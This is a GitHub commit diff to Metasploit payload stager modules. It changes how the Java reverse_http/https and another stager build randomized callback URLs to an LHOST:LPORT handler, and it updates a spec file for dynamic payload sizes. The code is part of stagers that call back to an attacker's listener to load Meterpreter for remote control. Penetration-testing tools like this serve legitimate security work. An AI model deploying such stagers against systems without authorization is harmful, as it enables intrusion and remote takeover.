File tree Expand file tree Collapse file tree 4 files changed +44
-8
lines changed
Expand file tree Collapse file tree 4 files changed +44
-8
lines changed Original file line number Diff line number Diff line change 88
99module Metasploit3
1010
11- CachedSize = 5500
11+ CachedSize = :dynamic
1212
1313 include Msf ::Payload ::Stager
1414 include Msf ::Payload ::Java
@@ -45,7 +45,9 @@ def config
4545 c << "Spawn=#{ spawn } \n "
4646 c << "URL=http://#{ datastore [ "LHOST" ] } "
4747 c << ":#{ datastore [ "LPORT" ] } " if datastore [ "LPORT" ]
48- c << "/INITJM\n "
48+ c << "/"
49+ c << generate_uri_checksum ( Msf ::Handler ::ReverseHttp ::URI_CHECKSUM_INITJ , 30 +rand ( 256 -30 ) )
50+ c << "\n "
4951
5052 c
5153 end
Original file line number Diff line number Diff line change 88
99module Metasploit3
1010
11- CachedSize = 6308
11+ CachedSize = :dynamic
1212
1313 include Msf ::Payload ::Stager
1414 include Msf ::Payload ::Java
@@ -47,7 +47,9 @@ def config
4747 c << "Spawn=#{ spawn } \n "
4848 c << "URL=https://#{ datastore [ "LHOST" ] } "
4949 c << ":#{ datastore [ "LPORT" ] } " if datastore [ "LPORT" ]
50- c << "/INITJM\n "
50+ c << "/"
51+ c << generate_uri_checksum ( Msf ::Handler ::ReverseHttp ::URI_CHECKSUM_INITJ , 30 +rand ( 256 -30 ) )
52+ c << "\n "
5153
5254 c
5355 end
Original file line number Diff line number Diff line change 88
99module Metasploit3
1010
11- CachedSize = 442
11+ CachedSize = 446
1212
1313 include Msf ::Payload ::Stager
1414
@@ -50,7 +50,7 @@ def generate
5050 target_url << ':'
5151 target_url << datastore [ 'LPORT' ] . to_s
5252 target_url << '/'
53- target_url << generate_uri_checksum ( Msf :: Handler :: ReverseHttp :: URI_CHECKSUM_INITP )
53+ target_url << generate_callback_uri
5454
5555 proxy_host = datastore [ 'PayloadProxyHost' ] . to_s
5656 proxy_port = datastore [ 'PayloadProxyPort' ] . to_i
@@ -77,4 +77,36 @@ def generate
7777 b64_stub << "')))"
7878 return b64_stub
7979 end
80+
81+ #
82+ # Determine the maximum amount of space required for the features requested
83+ #
84+ def required_space
85+ # Start with our cached default generated size
86+ space = cached_size
87+
88+ # Add 100 bytes for the encoder to have some room
89+ space += 100
90+
91+ # Make room for the maximum possible URL length
92+ space += 256
93+
94+ # The final estimated size
95+ space
96+ end
97+
98+ #
99+ # Return the longest URL that fits into our available space
100+ #
101+ def generate_callback_uri
102+ uri_req_len = 30 + rand ( 256 -30 )
103+
104+ # Generate the short default URL if we don't have enough space
105+ if self . available_space . nil? || required_space > self . available_space
106+ uri_req_len = 5
107+ end
108+
109+ generate_uri_checksum ( Msf ::Handler ::ReverseHttp ::URI_CHECKSUM_INITP , uri_req_len )
110+ end
111+
80112end
Original file line number Diff line number Diff line change 885885 'stagers/java/reverse_http' ,
886886 'stages/java/meterpreter'
887887 ] ,
888- dynamic_size : false ,
888+ dynamic_size : true ,
889889 modules_pathname : modules_pathname ,
890890 reference_name : 'java/meterpreter/reverse_http'
891891 end
896896 'stagers/java/reverse_https' ,
897897 'stages/java/meterpreter'
898898 ] ,
899- dynamic_size : false ,
899+ dynamic_size : true ,
900900 modules_pathname : modules_pathname ,
901901 reference_name : 'java/meterpreter/reverse_https'
902902 end
You can’t perform that action at this time.
0 commit comments